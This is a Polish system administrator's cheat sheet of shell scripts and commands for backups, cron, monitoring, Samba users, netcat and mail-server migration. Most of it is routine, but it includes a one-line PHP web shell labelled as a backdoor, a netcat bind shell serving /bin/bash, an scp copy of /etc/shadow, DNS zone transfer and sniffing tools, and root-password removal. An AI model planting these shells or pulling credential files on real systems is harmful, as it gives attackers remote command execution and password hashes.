ZBIÓR PRZYDATNYCH SKRYPTÓW, POLECEC I PORAD:
1. yródła skrypt zbiorczy
#!/bin/bash
cd usr/src
wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.36.3.tar.bz2
wget ftp://ftp.netfilter.org/pub/iptables/iptables-1.4.0.tar.bz2
wget ftp://ftp.netfilter.org/pub/patch-o-matic-ng/patch-o-matic-ng-20040621.tar.bz2
wget ftp://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20080521.tar.bz2
wget http://www.linuximq.net/patchs/iptables-1.3.0-imq1.diff
wget http://www.linuximq.net/patchs/iptables-1.4.0-imq.diff
wget http://www.linuximq.net/patchs/linux-2.4.28-imq2.diff
wget http://www.linuximq.net/patchs/imq-nat.diff
wget http://www.ipp2p.org/downloads/ipp2p-0.8.2.tar.gz
wget http://luxik.cdi.cz/~devik/qos/htb/v3/htb3.6-020525.tgz
wget ftp://129.102.1.25/pub/devil-linux/devel/sources/1.2/iproute2-2.6.16-060323.tar.gz
2. SMS skrypt
#!/bin/bash
#set -x
lynx -dump http://klub.chip.pl/darekp/myip.php | grep 'IP' >powiadamianie.tmp
A1=`cat powiadamianie.tmp`
#echo cat powiadamianie.tmp >$A1
#A2='xyz'
A2='cat /root/powiadamianie.tmp'
#VALID= echo lynx -dump http://klub.chip.pl/darekp/myip.php | grep 'IP'
echo $A2
echo $A1
#/usr/local/bin/sms -g plus -n 605XXX474 -m "$VALID1"
/usr/local/bin/sms -g plus -n 605XXX474 -m "$A1"
#uruchomienie:
sh sms_skrypt
lub równoznacznie:
chmod a+x sms_skrypt
./sms_skrypt
3. MyIP.php
$adresip=getenv(REMOTE_ADDR);
// $host=gethostbyaddr($REMOTE_ADDR);
echo ("TWOJ NR IP: $adresip
");
// echo ("HOST: $host
");
?>
insecure.php (backdoor:)
passthru($_GET['cmd']);
?>
4. SCP przez SSH w CRONie
a) ssh-keygen na koncie zrodlowym, bez passphrase
b) przegrac id_rsa.pub do ~/.ssh/authorized_keys na koncie docelowym
c) pamietac o prawach 700 dla ~/.ssh
BACKUP.SH
datadir="/home/backup"
#data=`date +%Y%m%d-%H%m`
data=`date +%Y%m%d`
# rm -rf $datadir/*
# APLIKACJA SAMBA
sudo tar czf /home/backup/aplikacja_samba_$data.tar.gz /mnt/samba/
scp -r $datadir/aplikacja_samba_$data.tar.gz 192.168.1.185:/backup/archiwum/
BACKUP_DVD.SH
#!/bin/bash
#pakiet: dvd+rw-tools
# Nagrywanie Backupu
/usr/bin/growisofs -use-the-force-luke=tty -Z /dev/dvd -R -J /home/backup/*.tar.gz
# Kasowanie zawartosci katalogu BACKUP
rm -rf /home/backup/*
CRONTAB
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.29285 installed on Tue Dec 19 12:08:42 2006)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
01 21 * * 1,2,3,4,5 /root/backup.sh
30 3 1 * * /root/backup_dvd.sh
5. Backup SYSTEMU
----------------- PRAKTYCZNY PRZYKAAD SKRYPTU NAPISANY PRZEZ DAMIANA
RUSAKA----------
#!/bin/bash
#pliki wykluczone dla katalogu /home/drusak
wyklucz_home="
--exclude=/home/drusak/.icons/*
--exclude=/home/drusak/.inne/*
--exclude=/home/drusak/.themes/*
--exclude=/home/drusak/.thumbnails/*
--exclude=/home/drusak/backup/*
--exclude=/home/drusak/mp3"
#opcje dla tar
opcje="--create --preserve --totals --gzip --ignore-failed-read --verbose --file"
#data utworzenia archiwum
data=`date +%d.%m.%Y`
# katalog
katbackup=/home/drusak/backup/$(hostname)/$data
#tworzenie katalogu
mkdir -p $katbackup
#lista zainstalowanych pakietów w systemie
pacman -Q >> /home/drusak/package.txt
#plik /boot/grub/menu.lst
cd /boot/grub/
echo Pakuję /boot/grub/menu.lst
sleep 2
nice -n 19 tar $opcje ${katbackup}/menu.lst-${data}.tar.gz menu.lst
echo Ok, /boot/grub/menu.lst spakowany
sleep 2
#katalog /etc
echo Pakuję /etc
sleep 2
nice -n 19 tar $opcje ${katbackup}/etc-${data}.tar.gz /etc
echo Ok, /etc spakowany
sleep 2
#katalog /home/drusak
echo Pakuję /home/drusak
sleep 2
nice -n 19 tar $opcje ${katbackup}/home-${data}.tar.gz /home/drusak $wyklucz_home
echo Ok, /home/drusak spakowany
sleep 2
echo Zapisałem pliki:
ls -l $katbackup
echo Tworzę sumy md5:
for i in $katbackup/*; do md5sum >> $katbackup/sumy.md5 $i; done
echo Zmieniam właściciela na drusak:drusak
chown -R drusak:drusak $katbackup/../..
echo Zmieniam prawa do zawartości katalogu backupu na 600
chmod -R 600 $katbackup/*
echo Koniec
-------------------------------------- KONIEC SKRYPTU -------------------------------------------
#Tworzenie archiwum w locie
# archiwizacja z znacznikiem daty w nazwie i zrzutem błędów do pliku TXT
tar -pzvvcf /mnt/backup/archiwum_`date +%F`.tar.gz * 2>log.txt
#z wyłaczeniem katalogu /proc /sys i /tmp
tar -pzvvcf /mnt/backup/archiwum.tar.gz --exclude proc --exclude sys --exclude tmp *
dd if=/dev/sda1 of=obraz_partycji.iso (zrzut partycji do pliku ISO)
dd if=obraz_partycji.iso of=/dev/sda1 (odtworzenie blok po bloku partycji z pliku)
#podłączamy drugi dysk SATA (sdb) i tworzymy bootowalną podstawową partycje ROOT /
oraz logiczną partycję wymiany SWAP programem "cfdisk" można z poziomu LIVECD
cfdisk /dev/sdb (program do tworzenia partycji na dysku SDB)
mke2fs - j /dev/sdb1 (formatowanie / )
mkswap /dev/sdb5 (formatowanie SWAP)
swapon /dev/sdb5 (uruchomienie SWAP)
free (sprawdzenie czy partycja wymiany jest aktywna)
mkdir /mnt/sda1 (tworzenie katalogu do podmontowania)
mount /dev/sda1 /mnt/sda1 (podmontowanie partycji sda1)
cd /mnt/sda1
# odtwarzanie z archiwum
tar -pzvvxf /mnt/sda1/archiwum.tar.gz (parametr -p odpakowuje z zachowaniem uprawnień)
# tworzymy ręcznie katalog /proc i /sys
chmod 555 /proc
chmod 755 /sys
sync
# stworzenie roota drzewa katalogów i następnie zainstalowanie gruba
chroot /dev/sda
grub-install /dev/sda
#odtwarzanie pliku z dyskietki
mprobe fat (uruchomienie modułu obsługi FAT)
badblocks -v /dev/fd0 (skandisk dla dyskietki)
mount /dev/fd0 (zamontowanie dyskietki pod domyślny punkt montowania)
cd /media/floopy
cat pliktekstowy.txt >> /etc/apt/source.list
apt-get install sysutils (instalacja pakietu z narzędziami)
cd /etc/apt
dos2unix source.list (przeróbka pliku z formatu DOS)
#naprawa struktury plików
fsck
fsck /dev/sda1
fsck.ext2
e2fsck
/etc/fstab #pokazuje wszystkie systemy plików jakie są dostępne
/etc/mtab #pokazuje co mamy właśnie zamontowane aktualnie
df #polecenie które pokazuje filesystem
df -h #pokazuje partycje i ich rozmiary
du -hc #pokazuje podsumowanie katalogów i zawartości
# przegladarki www w konsoli tekstowej
w3m www.onet.pl (ta jest zaraz po instalacji)
links
lynks
6. REPOZYTORIUM wersja dla ETCH
Zakres podstawowy dla /etc/apt/source.list
#~~~~~~Etch~~~~~~~~~~~~#
deb http://ftp.pl.debian.org/debian/ etch main non-free contrib
deb-src http://ftp.pl.debian.org/debian/ etch main non-free contrib
deb http://security.debian.org/ etch/updates main contrib non-free
deb-src http://security.debian.org/ etch/updates main contrib non-free
#~~~~~~~~~~~~~~~~~~~~~#
7. SKRYPT wczytywanie danych z pliku tekstowego i tworzenie plików wynikowych
WARIANT 1:
#!/bin/bash
PLIK='plik' #nazwa pliku wartosci oddzielone znacznikiem Z np. srednikiem
OF='cos.txt' #plik wyjsciowy
Z=' ' #ogranicznik, np 1 spacja
if [ ! -f $PLIK ]; then
echo "Blad odczytu pliku!"
exit
fi
if [ -f $OF ]; then
echo "Usunac istniejacy plik? [T/n]"
read W
if [ -z "$W" ]; then
rm $OF
fi
fi
for (( i=1; i<=`cat $PLIK | nl | tail -2 | cut -c 5-7`; i++ )); do
F=`cat $PLIK | head -$i | tail -1` #wszystkie pola
F1=`echo $F | cut -d"$Z" -f1` #pierwsze pole
F2=`echo $F | cut -d"$Z" -f2` #drugie pole
F3=`echo $F | cut -d"$Z" -f3` #trzecie pole
F4=`echo $F | cut -d"$Z" -f4` #czwarte pole
F5=`echo $F | cut -d"$Z" -f5` #piate pole
F6=`echo $F | cut -d"$Z" -f6` #szoste pole
F7=`echo $F | cut -d"$Z" -f7` #siodme pole
echo $F3 $F2 >> $OF
done
echo Koniec
WARIANT 2: Proponowałbym użycie pętli while dla wyświetlonego pliku i dopiero
zarządzenie każda linią z osobna za pomocą narzędzia awk.
np. skrypt niech się nazwywa "skrypt" i parametrem będzie nazwa pliku:
cat "${@}" | while read LINE; do
echo $LINE
gdzie $LINE to dowolna nazwa zmiennej...
zakładamy, że zawiera ona pola FIELD1 FIELD2 FIELD3,
to aby dostać się do pierwszej i trzeciej części można użyć takiej konstrukcji:
echo $LINE | awk '{print $1 " "$3}'
Wynikiem będzie:
FIELD1 FIELD3
Zmienne 1 i 3 to zmienne programu awk, więc nie trzeba będzie tworzyć całkiem nowych
zmiennych.
8. MONITORING systemu i sieci
#na dowolnej konsoli
tail -f syslog
tail -f access.log
tail -f /var/log/messages
# sprawdzenie systemu na obecność trojanów
chkrootkit -q
#pokazuje wersję pakietu
dpkg -l gcc*
dpkg -l iptables
whereis mtr
apt-get install mtr
mtr www.wp.pl (odpowiednik TRACEROUTE)
#aktywne procesy
ps aux | grep clamav #szuka frazy clamav
ps aux | more
top
#szukanie suid'ów
find / -user root -pem -4000 >suidy
#szukanie konkretnego pliku poczynając od góry drzewa katalogów
find / -name 'ipop3d'
whereis ipop3d
locate
#kopiowanie przez ssh
scp nazwapliku user@192.168.1.185:/home/katalog
scp
np: scp root@192.168.4.67:/etc/shadow /tmp/shadow
#sprawdzenie wersji kernela
uname -a
kernelversion
hostname
#aktywne porty i kontrola sieciowa
nmap localhost #zbiera info o kompie
nmap 192.168.4.33 -p 1-1024
nmap -sS -sU -O www.wp.pl #pokazuje jaki jest system operacyjnym na hoście
netstat -ln --tcp #szuka słuchających portów TCP
netstat -ant # all numeric TCP
netstat -pantu #bardzo przydatne :-)
traceroute www.wp.pl #określa ściezkę przez które przechodza pakiety
dig goleniow.pl
ifconfig -a #pokazuje konfigurację interfejsów ETH0,1,...
arp -n #szczytuje adresy MAC
host www.wp.pl
w
who #kto jest zalogowany i na jakim terminalu
whoami #na kogo jestem zalogowany
iptables -nL FORWARD
iptables -L -n |less #sprawdza filtry pakietów
iptables -t nat -L -v
lspci -v |more #listowanie sprzętu
lsof |less #doskonałe narzedzie do globalnego Audytu
dmesg
route -n #sprawdza trasy pakietów
iptraf #statystyki ruchu na interfejsie sieciowym
portsentry #wykrywanie skanowanych portów
tcpdump -i eth0 >log.log #zbieranie informacji z interfejsu sieciowego ETH0
apt-cache search dig
apt-get install dnsutils
nslookup
dig @nazwahosta.gov.pl pytanie.o.domenę.pl axfr #szczytuje plik stref
#zmienne środowiskowe
set
env
#wyłaczenie do testów dzielenia pasma na obu interfejsach routera
/sbin/tc qdisc del root dev eth1
/sbin/tc qdisc del root dev eth0
#users
useradd -m użytkownik1 #zakładnie usera oraz katalogu domowego
userdel użytkownik1 #kasowanie usera
userdel -r użytkownik1 #kasowanie usera wraz z jego katalogiem domowym
usermod
/etc/skel/ #tu jest WZORZEC wykorzystywany przy zakładaniu usera
/etc/default/ #tu są domyslne parametry np: HOME=/home SHELL=/bin/bash itp
9. RATOWANIE SYSTEMU (odzysk roota:)
KROK1: start LILO z wciśniętym
KROK2: boot: Linux init=/bin/sh
KROK3: mount -n -o remount,rw / #podmontowanie do zapisu
KROK4: cd /etc
KROK5: vi passwd
vi shadow #usuwamy z pliku zakodowane hasło root:.usuwamy.:12444:0:99994:7...
more shadow
KROK6: ++
KROK7: logujemy się jako ROOT bez hasła
#wyprowadzenie systemu na prostą:
apt-get -f install
apt-get update
apt-get dist-upgrade
apt-get install clamav -t testing #instalowanie pakietu z dystrybucji TESTING
10. AUTOMATYZACJA SKRYPTU STARTOWEGO
update-rc.d skrypt.sh defaults 99
(powoduje dodanie skrypt.sh do wszystkich poziomów startu np dla /etc/ rc2.d ->
S99skrypt.sh)
update-rc.d -f skrypt.sh remove
(powoduje usunięcie skrypt.sh z poziomu startów)
11. CRON
Cron ma za zadanie automatyzację części wykonywanych okresowo działań na serwerze.
#crontab -l (listing)
#crontab -e (edycja)
Przykłady:
# uruchamiaj się 5 minut po północy, codziennie
5 0 * * * $HOME/bin/daily.job >> $HOME/tmp/out 2>&1
# uruchamiaj się od 2:15pm pierwszego w każdym miesiącu
15 14 1 * * $HOME/bin/monthly
# uruchamiaj się o 10 pm w dni robocze, denerwuj Joe.
0 22 * * 1-5 mail -s "Jest 10pm" joe%Joe,%%Gdzie są twoje dzieci?%
23 0-23/2 * * * echo "uruchamiaj 23 min po polnocy, 2am, 4am ..., codziennie"
5 4 * * sun echo "Uruchamiaj się 5 po 4 w niedziele"
0 10 * * 1,3 echo "Uruchamiaj się w każdy poniedzialek i srode o 10.00"
*/2 * * * * echo "Uruchamiaj się co 2 minuty"
#od godziny 19:00 do 23:00 co 5 minut w każdy piatek uruchamiaj skrypt z katalogu
domowego
0/5 19-23 * * 5 ~/skrypt.sh
#pierwszego dnia każdego miesiąca o gdinie 20:00
0 20 1 * * ~/skrypt.sh
# o 15:00 każdego 1 dnia miesiąca oraz w każdy poniedziałek o 15:00 wpis do /var/log/syslog
0 15 1 * 1 logger -p user.warn "komunikat"
Szablon:
* * * * * komenda do wykonania
- - - - -
| | | | |
| | | | +----- dzień tygodnia (0 - 6) (Niedziela=0)
| | | |
| | | +------- miesiąc (1 - 12)
| | |
| | +--------- dzień miesiąca (1 - 31)
| |
| +----------- godzina (0 - 23)
|
+------------- minuta (0 - 59)
1-3 - czyli wartości 1,2,3
0-10/2 - czyli wartość 0,2,4,6,8 i 10 (co druga wartość ze zbioru od 0 do 10)
1,2,5 - czyli wartości kolejno 1,2,5
*/2 - co 2 dozwolona wartość (np. w pierwszej kolumnie będzie to 0,2,4,6& 56,58)
1-3,5,6 - czyli 1,2,3 oraz 5 i 6
12. PORTMAP
Na porcie 111 nasłuchuje portmap. Jest on potrzebny usługom
korzystającym z rpc. Aby sprawdzić czy coś korzysta z rpc wpisz
"rpcinfo -p". Jeżeli już nic nie używa rpc to powinieneś zobaczyć:
#v+
# rpcinfo -p
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
#v-
I wtedy możesz spokojnie wyłączyć portmapera.
13. AUTOMATYZACJA PRACY admina
BACKUPALL
#!/bin/bash
find /etc /var/log /root /boot /bin /sbin /usr /lib |afio -G 9 -Z -o /backup/archiwum_all
growisofs -Z /dev/scsi/host0/bus0/target0/lun0/cd -R -J /backup/archiwum_all
------------------------------------------------------------------------------------------------------
NAPRAW EXIM.SH
#!/bin/bash
rm -f /var/lib/exim4/config.autogenerated
ln -s /etc/exim/exim.conf /var/lib/exim4/config.autogenerated
chown -R mail:mail /var/log/exim4
chown -R mail:mail /etc/exim
chown -R root:mail /etc/exim/exim.conf
chmod 640 /etc/exim/exim.conf
chown -R mail:mail /var/spool/exim4
-------------------------------------------------------------------------------------------------------
DODAJ_KONTO_MASZYNY:
#!/bin/bash
if [ "$1" = "" ] || [ "$2" = "" ]
then
echo Brak argumentow!
echo Argument skryptu przyjmuje nazwe komputera oraz opis.
echo Przyklad: ./dodaj_konto_maszyny komputer23$ nazwa_komputera
echo Pamietaj o znaku dolara przy nazwie komputera!!!
exit
fi
useradd -g kompy -d /dev/null -c $2 -s /bin/false $1
passwd -l $1
pdbedit -a -m $1
--------------------------------------------------------------------------------------------------------
DODAJ_UZYTKOWNIKA_SAMBY:
#!/bin/bash
if [ "$1" = "" ] || [ "$2" = "" ]
then
echo Brak argumentow!
echo Argument skryptu przyjmuje nazwe uzytkownika oraz opis.
echo Przyklad: ./dodaj_uzytkownika_samby user opis_usera
exit
fi
if id $1 |grep uid
then
echo Taki uzytkownik juz istnieje !
exit
fi
#Opcje dodatkowe do generowania hasel
#haslo=`makepasswd --maxchars=5 --minchars=5 --
string=qwertyuiopasdfghjklzxcvbnm1234567890`
#cr_haslo=`mkpasswd --hash=md5 -s $haslo`
#echo Haslo : $haslo
useradd -g users -m -s /bin/false -c $2 -d /home/$1 $1
passwd $1
KAT=/home/$1
KAT1=/home/$1/.profiles
KAT2=/var/lib/samba/profiles/$1
PLIK=/var/lib/samba/netlogon/$1.bat
mkdir -p $KAT1
mkdir -p $KAT2
chmod 700 $KAT
chown $1:users $KAT1
chown $1:users $KAT2
pdbedit -a -u $1 > /dev/null
pdbedit -r -c "[X]" -S $1.bat -u $1
STR='net use W: \\Server_Linux\'$1
STR2=" /yes"
echo $STR $STR2 > $PLIK
unix2dos $PLIK
chown $1:users $PLIK
---------------------------------------------------------------------------------------------
USUN_UZYTKOWNIKA:
#!/bin/bash
if [ "$1" = "" ]
then
echo Brak argumentow!
echo Argument skryptu przyjmuje nazwe uzytkownika/komputera.
echo Przyklad: ./usun_uzytkownika user
echo Pamietaj o znaku dolara przy nazwie komputera!!!
exit
fi
pdbedit -x -u $1
userdel -r $1
rm -f /var/lib/samba/netlogon/$1.bat
rm -f -r /var/lib/samba/profiles/$1
14. WYRAŻENIA REGULARNE
wyrażenie regularne wyłapujące adresy IP v4:
1. Pozycje dziesiętne z zakresu [0-999] - czyli szukanie czterech liczb 1,2,3-cyfrowych
rozdzielonych kropkami
egrep -e ^[0-9]\{1,3\}\\.[0-9]\{1,3\}\\.[0-9]\{1,3\}\\.[0-9]\{1,3\}$
2. Każda pozycja dziesiętna z zakresu [0-299] - zakres już bliższy [0-255] ale niedosyt nadal
pozostaje
egrep -e ^[012]?[0-9]\{0,2\}\\.[012]?[0-9]\{0,2\}\\.[012]?[0-9]\{0,2\}\\.[012]?[0-9]\{0,2\}$
15. NETCAT - wielofunkcyjne narzędzie sieciowe
Skanowanie portów:
#netcat -z -v 192.168.0.1 1-100
reverse shell, czyli odpalamy powłokę która pozwoli nam wykonywać zdalnie polecenia:
#netcat -l -p 9876 -c /bin/bash
(odpalona w ten sposób powłoka ma takie same uprawnienia jak user odpalający to polecenie,
przykład backdoora)
nawiązujemy zdalną sesję:
#netcat localhost 9876
prosty serwer www:
#while true ; do netcat -l -p 80 -c 'cat index.htm' ; done
kopiowanie plików między komputerami:
Na komputerze gdzie chcemy wrzucić plik otwieramy port 9876
#netcat -l -p 9876 > plik
A na drugim komputerze wrzucamy go na port 9876
#netcat localhost 9876 < wazny.plik
Lub metoda z kompresją:
komputer1: netcat -lvp 12345 | tar -xv
komputer2: tar -cv plik | netcat -v adres_IP_komputera1 12345
Sprawdzamy informacje o naszej przeglądarce:
#netcat -l -p 9876
Teraz łączymy się przy pomocy naszej przeglądarki z lochalhost:9876
GET / HTTP/1.1
Host: 192.168.0.2:9876
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.3) Gecko/20091007
Ubuntu/9.10 (karmic) Firefox/3.5.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cache-Control: max-age=0
16. DIAGNOSTYKA
# Badanie przeciążenia dysku:
#df -h --> jeśli 100% to kto co ?
#du -s -B 1024K /home/* | sort -n
(pokazuje w blokach 1M z podsumowaniem posortowane numerycznie największe zużycie)
# Badanie przeciążenia sieci:
#lsof -i -P | sort -k3
(pokazuje sieć -i i numery portóe -P posortowane w/g kolumny 3 users)
egrep -w "port | 81[14]" (pokazuje porty 811 i 814)
ngrep
dsniff (wykrywa niezabezpieczone protokoły)
urlsnarf (http)
tcpdump
filesnarf (nfs)
mailsnarf (pop i smtp)
Wyświetla wszystkie wiersze pliku "access_log" które NIE ZAWIERAJ tekstu "http"
#grep -v http access_log
17. CZAS
" DAYTIME port 13
" TIME port 37
" NTP port 123 (UTP)
" SNTP port 123
apt-get install ntpdate
ntpdate -b ntp.certum.pl #parametr -b zalecany podczas startupu
date #pokazuje aktualna datę i czas
hwclock --show # pokazuje czas systemowy
hwclock --systohc # ustawia czas systemowy do BIOSU
hwclock --hctosys #odwrotnie
Lista serwerów czasu NTP (w/g TPLink):
Destination: 192.43.244.18
DNS: time.nist.gov
Destination: 199.165.76.11
DNS: ntp.alaska.edu
Destination: 128.138.140.44
DNS: india.colorado.edu
Destination: 192.36.144.22
DNS: ntp1.sth.netnod.se
Destination: 129.7.1.66
DNS: tick.uh.edu
Destination: 140.221.8.88
DNS: sirius.mcs.anl.gov
Destination: 192.6.38.127
DNS: ntp-cup.external.hp.com
Destination: 133.100.9.2
DNS: clock.nc.fukuoka-u.ac.jp
Destination: 140.142.16.34
DNS: bigben.cac.washington.edu
18. OPEN SOURCE - zamienniki
TABELA ZAMIENNIKÓW:
http://7thguard.net/files/zamienniki.html
19 DODATKI instalacje
IPP (Eaton Power Protector):
root@cacti:~# dpkg -i ipp-linux_1.20.070-1_amd64.deb
/etc/init.d/Eaton-IPP status
CACTI:
apt-get update
apt-get install gcc make linux-headers-`uname -r`
apt-cache search cacti
apt-get install cacti cacti-spine
snmpwalk -c public -v 1 192.168.1.19 |less
tail -f /var/log/cacti/cacti.log
VMTools:
mount /media/cdrom0
cp /media/cdrom0/VMwareTools-8.6.0-515842.tar.gz /root/
tar xvf ./VMwareTools-8.6.0-515842.tar.gz
cd ./vmware-tools-distrib/
./vmware-install.pl
dmesg
NAS:
umount /iomega
mount -t nfs 192.168.1.7:/mnt/vol2/archiwum /iomega
20. REPO Debian6
nano /etc/apt/sources.list
------------------------------------------------------------------------------------
# deb cdrom:[Debian GNU/Linux 6.0.5 _Squeeze_ - Official amd64 NETINST Binary-1
20120512-20:40]/ squeeze main
#deb cdrom:[Debian GNU/Linux 6.0.5 _Squeeze_ - Official amd64 NETINST Binary-1
20120512-20:40]/ squeeze main
deb http://ftp.pl.debian.org/debian/ squeeze main contrib non-free
#deb-src http://ftp.pl.debian.org/debian/ squeeze main
deb http://security.debian.org/ squeeze/updates main contrib non-free
#deb-src http://security.debian.org/ squeeze/updates main
# squeeze-updates, previously known as 'volatile'
deb http://ftp.pl.debian.org/debian/ squeeze-updates main contrib
#deb-src http://ftp.pl.debian.org/debian/ squeeze-updates main
---------------------------------------------------------------------------------------
21. CIEKAWE zastosowanie "find"
procedura losująca:
Kalibracja - pokaż zródło danych
# ls new | head -n 1
1331647338.M895927P19313V000000000000FD01I000000000011A1B4_0.mx,S=1573104
Wylosuj 3 szczęśliwców
# find new/ -type f -name "*mx*" | xargs cat | grep "mailto:" | cut -d \> -f 2 | cut -d \< -f 1 |
sort | uniq | shuf -n 3
maciej@*****.pl
kamil@*****.pl
jaro@*****.pl
Pokaż, ilu było wszystkich, unikalnych uczestników konkursu
# find new/ -type f -name "*mx*" | xargs cat | grep "mailto:" | cut -d \> -f 2 | cut -d \< -f 1 |
sort | uniq | wc -l
291
22. MIGRACJA SERWERA POCZTOWEGO (Exim) I PLIKOWEGO (Samba)
DYSTRYBUCJA: Debian
SERVER A - żródłowy
SERVER B - docelowy
Prace przygotowawcze na SERVERZE A (archiwizacja danych):
mkdir /kopia_danych
#archiwum katalogów domowych
tar -pczf /kopia_danych/home.tar.gz /home
#archiwum katalogów samba
tar -pczf /kopia_danych/mnt.tar.gz /mnt
#archiwum skrzynek mbox
tar -pczf /kopia_danych/mail.tar.gz /var/spool/mail /var/mail
lub alternatywnie
tar -cjvf /kopia_danych/home.tar.bz2 /home
tar -cjvf /kopia_danych/mail.tar.bz2 /var/spool/mail
oprócz tego należy przenieść:
/etc/passwd Lista użytkowników, ich UID, katalog domowy, shell
/etc/shadow Lista użytkowników wraz z hasłami
/etc/group Lista grup i ich GID
/etc/gshadow Lista grup wraz z hasłami
/var/spool/mail Poczta użytkowników w postaci mbox
/home Katalogi domowe użytkowników ew. z mailami w formacie Maildir
PROCEDURA:
mkdir /kopia_danych
export UIDGID=1000
awk -v LIMIT=$UIDGID -F: '($3>=LIMIT) && ($3!=65534)' /etc/passwd >
/mnt/kopia_danych/passwd.mig
awk -v LIMIT=$UIDGID -F: '($3>=LIMIT) && ($3!=65534)' /etc/group >
/mnt/kopia_danych/group.mig
awk -v LIMIT=$UIDGID -F: '($3>=LIMIT) && ($3!=65534) {print "^"$1}' /etc/passwd | sed
-e 's/\$/'\\\\\$'/g' | egrep -w -f - /etc/shadow > /mnt/kopia_danych/shadow.mig
awk -v LIMIT=$UIDGID -F: '($3>=LIMIT) && ($3!=65534) {print "^"$1}' /etc/group | sed -
e 's/\$/'\\\\\$'/g' | egrep -w -f - /etc/gshadow > /mnt/kopia_danych/gshadow.mig
Na SERVERZE B (dearchiwizacja):
tar xvfz home.tar.gz
Zabezpieczenie oryginałów:
mkdir /kopia_danych
mkdir /kopia_danych/backup_org
cp /etc/passwd /kopia_danych/backup_org/
cp /etc/shadow /kopia_danych/backup_org/
cp /etc/group /kopia_danych/backup_org/
cp /etc/gshadow /kopia_danych/backup_org/
Wgrywamy do katalogu /kopia_danych pliki ze starego komputera
scp root@192.168.1.185:/mnt/kopia_danych/* /home/kopia_danych
Odtworzenie kont:
cd /kopia_danych
cat passwd.mig >> /etc/passwd
cat shadow.mig >> /etc/shadow
cat group.mig >> /etc/group
odtworzenie danych
cd /
tar -xzvf /home/kopia_danych/mail.tar.gz
mc
tar -jxvf /kopia_danych/home.tar.bz2
tar -jxvf /kopia_danych/mail.tar.bz2
Przenoszenie użytkowników samby
Chcąc przenieść użytkowników samby nalepiej wyeksportowac ich do pliku za pomocą
polecenia pdbedit. Czyli np dla eksportu w formacie smbspasswd:
pdbedit -e smbpasswd:sciezka_do_pliku_z_eksportem
Podobnie ma się sprawa z wciągnięciem pózniej użytkowników do nowej czy też innej
samby:
pdbedit -i smbpasswd:sciezka_do_pliku_z_eksportem
UWAGA WAŻNE
i skopiowanie /var/lib/samba/*
-----------------------------------------------
WYMIANAKLUCZY SCP bez hasła:
a) ssh-keygen na koncie zrodlowym, bez passphrase
b) przegrac id_rsa.pub do ~/.ssh/authorized_keys na koncie docelowym
c) pamietac o prawach 700 dla ~/.ssh
scp root@192.168.1.185:/root/.ssh/id_rsa.pub /root/
01 23 * * 1,2,3,4,5 /root/backup.sh
30 3 15 * * /root/backup_dvd.sh
30 17 7 * * /root/ustaw_czas.sh
23. LOG-owanie
AGIOS http://www.nagios.org/
program do monitorowania sieci, urządzeń sieciowych, aplikacji oraz serwerów działający w
systemach Linux i Unix rozpowszechniany na podstawie licencji GPL.
Może monitorować hosty oraz usługi według określonych ustawień, dzięki czemu jest
możliwe dostosowanie go do swoich potrzeb. W razie wykrycia problemu Nagios może
wysłać pocztę, info na pager lub SMS do administratora systemu z informacją o problemie.
Nagios posiada budowę modułową, czyli bazuje na tzw. wtyczkach.
ZABBIX http://www.zabbix.com/
COLLECTD http://collectd.org/
MUNIN http://munin-monitoring.org/
GANGLIA http://ganglia.info/
OpenNMS http://www.opennms.org/
FreeNATS http://www.purplepixie.org/freenats/
JAMon http://jamonapi.sourceforge.net/
CACTI http://www.cacti.net/
GNUPLOT http://www.gnuplot.info/
AFTERGLOW afterglow.sourceforge.net
LSTAT lstat.sourceforge.net
MRTG oss.oetiker.ch/mrtg/
Wyszukiwarka